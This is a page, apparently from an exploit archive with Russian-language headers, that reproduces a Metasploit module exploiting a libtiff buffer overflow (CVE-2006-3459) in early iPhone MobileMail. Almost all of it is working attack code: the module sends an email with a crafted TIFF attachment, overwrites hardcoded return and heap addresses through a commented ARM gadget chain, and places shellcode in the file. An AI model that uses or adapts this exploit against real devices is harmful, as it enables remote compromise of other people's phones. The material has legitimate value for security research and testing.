Apple iOS MobileMail LibTIFF Buffer Overflow Exploit

Свойства

Дата публикации:
08.10.2012
Цель:
Apple iOS MobileMail
Тип воздействия:
Компрометация системы

Код

##
# $Id: mobilemail_libtiff.rb 15950 2012-10-09 18:31:08Z rapid7 $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
#   http://metasploit.com/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
    Rank = GoodRanking

    #
    # This module sends email messages via smtp
    #
    include Msf::Exploit::Remote::SMTPDeliver

    def initialize(info = {})
        super(update_info(info,
            'Name'           => 'Apple iOS MobileMail LibTIFF Buffer Overflow',
            'Description'    => %q{
                    This module exploits a buffer overflow in the version of
                libtiff shipped with firmware versions 1.00, 1.01, 1.02, and
                1.1.1 of the Apple iPhone. iPhones which have not had the BSD
                tools installed will need to use a special payload.
            },
            'License'        => MSF_LICENSE,
            'Author'         =>  ['hdm', 'kf'],
            'Version'        => '$Revision: 15950 $',
            'References'     =>
                [
                    ['CVE', '2006-3459'],
                    ['OSVDB', '27723'],
                    ['BID', '19283']
                ],
            'Stance'         => Msf::Exploit::Stance::Passive,
            'Payload'        =>
                {
                    'Space'    => 1800,
                    'BadChars' => "",
                    'Compat'   =>
                        {
                            'ConnectionType' => '-bind -find',
                        },
                },
            'Arch'           => ARCH_ARMLE,
            'Targets'        =>
                [

                    [ 'MobileSafari iPhone Mac OS X (1.00, 1.01, 1.02, 1.1.1)',
                        {
                            'Platform' => 'osx',

                            # Scratch space for our shellcode and stack
                            'Heap'     => 0x00802000,

                            # Deep inside _swap_m88110_thread_state_impl_t() libSystem.dylib
                            'Magic'    => 0x300d562c,
                        }
                    ],
                ],
            'DefaultTarget'  => 0,
            'DisclosureDate' => 'Aug 01 2006'
            ))

    end

    def autofilter
        false
    end

    def exploit

        exts = ['jpg', 'tiff', 'tif']

        gext =  exts[rand(exts.length)]
        name = rand_text_alpha(rand(10)+1) + ".#{gext}"
        data = Rex::Text.rand_text_alpha(rand(32)+1)
        tiff = generate_tiff(target)

        msg = Rex::MIME::Message.new
        msg.mime_defaults
        msg.subject = datastore['SUBJECT'] || Rex::Text.rand_text_alpha(rand(32)+1)
        msg.to = datastore['MAILTO']
        msg.from = datastore['MAILFROM']

        msg.add_part(Rex::Text.encode_base64(data, "\r\n"), "text/plain", "base64", "inline")
        msg.add_part_attachment(tiff, rand_text_alpha(rand(32)+1) + "." + gext)

        send_message(msg.to_s)

        print_status("Waiting for a payload session (backgrounding)...")
    end

    def generate_tiff(targ)
        #
        # This is a TIFF file, we have a huge range of evasion
        # capabilities, but for now, we don't use them.
        #  - https://strikecenter.bpointsys.com/articles/2007/10/10/october-2007-microsoft-tuesday
        #

        lolz = 2048
        tiff =
            "\x49\x49\x2a\x00\x1e\x00\x00\x00\x00\x00\x00\x00"+
            "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"+
            "\x00\x00\x00\x00\x00\x00\x08\x00\x00\x01\x03\x00"+
            "\x01\x00\x00\x00\x08\x00\x00\x00\x01\x01\x03\x00"+
            "\x01\x00\x00\x00\x08\x00\x00\x00\x03\x01\x03\x00"+
            "\x01\x00\x00\x00\xaa\x00\x00\x00\x06\x01\x03\x00"+
            "\x01\x00\x00\x00\xbb\x00\x00\x00\x11\x01\x04\x00"+
            "\x01\x00\x00\x00\x08\x00\x00\x00\x17\x01\x04\x00"+
            "\x01\x00\x00\x00\x15\x00\x00\x00\x1c\x01\x03\x00"+
            "\x01\x00\x00\x00\x01\x00\x00\x00\x50\x01\x03\x00"+
            [lolz].pack("V") +
            "\x84\x00\x00\x00\x00\x00\x00\x00"

        # Randomize the bajeezus out of our data
        hehe = rand_text(lolz)

        # Were going to candy mountain!
        hehe[120, 4] = [targ['Magic']].pack("V")

        # >> add r0, r4, #0x30
        hehe[104, 4] = [ targ['Heap'] - 0x30 ].pack("V")

        # Candy mountain, Charlie!
        # >> mov r1, sp

        # It will be an adventure!
        # >> mov r2, r8
        hehe[ 92, 4] = [ hehe.length ].pack("V")

        # Its a magic leoplurodon!
        # It has spoken!
        # It has shown us the way!
        # >> bl _memcpy

        # Its just over this bridge, Charlie!
        # This magical bridge!
        # >> ldr r3, [r4, #32]
        # >> ldrt r3, [pc], r3, lsr #30
        # >> str r3, [r4, #32]
        # >> ldr r3, [r4, #36]
        # >> ldrt r3, [pc], r3, lsr #30
        # >> str r3, [r4, #36]
        # >> ldr r3, [r4, #40]
        # >> ldrt r3, [pc], r3, lsr #30
        # >> str r3, [r4, #40]
        # >> ldr r3, [r4, #44]
        # >> ldrt r3, [pc], r3, lsr #30
        # >> str r3, [r4, #44]

        # We made it to candy mountain!
        # Go inside Charlie!
        # sub sp, r7, #0x14
        hehe[116, 4] = [ targ['Heap'] + 44 + 0x14 ].pack("V")

        # Goodbye Charlie!
        # ;; targ['Heap'] + 0x48 becomes the stack pointer
        # >> ldmia sp!, {r8, r10}

        # Hey, what the...!
        # >> ldmia sp!, {r4, r5, r6, r7, pc}

        # Return back to the copied heap data
        hehe[192, 4] = [  targ['Heap'] + 196  ].pack("V")

        # Insert our actual shellcode at heap location + 196
        hehe[196, payload.encoded.length] = payload.encoded

        tiff << hehe
    end

end

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